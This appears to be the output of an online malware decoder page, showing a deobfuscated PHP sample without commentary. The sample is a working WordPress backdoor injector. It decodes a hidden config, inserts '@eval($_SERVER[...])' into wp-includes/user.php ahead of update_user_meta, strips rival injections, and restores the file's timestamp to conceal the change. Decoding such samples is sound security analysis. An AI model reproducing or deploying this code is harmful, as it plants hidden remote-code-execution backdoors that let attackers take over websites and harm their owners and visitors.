Online PHP and Javascript Decoder decode hidden script to uncover its real functionality



phpConfValidate('YTo0OntpOjA7czo0NDoiL3Zhci93d3cvaHRtbC90aGVhZ2VuY3kvd3AtaW5jbHVkZXMvdXNlci5waHAiO2k6MTtzOjk4OiJ+ZXZhbFteXChcblxyXSpcKFteXCRdKlwkX1tBLVpdezZ9W15cW10qXFtbXlwnXCJdKltcJ1wiXUhUVFBfOUM2Q0VFQVtcJ1wiXVteXF1dKlxdW15cKV0qXClbXjtdKjt+cyI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQXzlDNkNFRUEnXSk7IjtpOjM7czozNDoifl5ccypmdW5jdGlvblxzK3VwZGF0ZV91c2VyX21ldGF+bSI7fQ==');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (preg_match($systemEnv, $source)) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    
    $incorrectRegex = str_replace('eval', '@?array', $systemEnv);
    $newSource = preg_replace($incorrectRegex, '', $source);
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
    
    
    if (!preg_match($systemEnv, $newSource)) {
        return;
    }
    
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}
'



© 2023 Quttera Ltd. All rights reserved.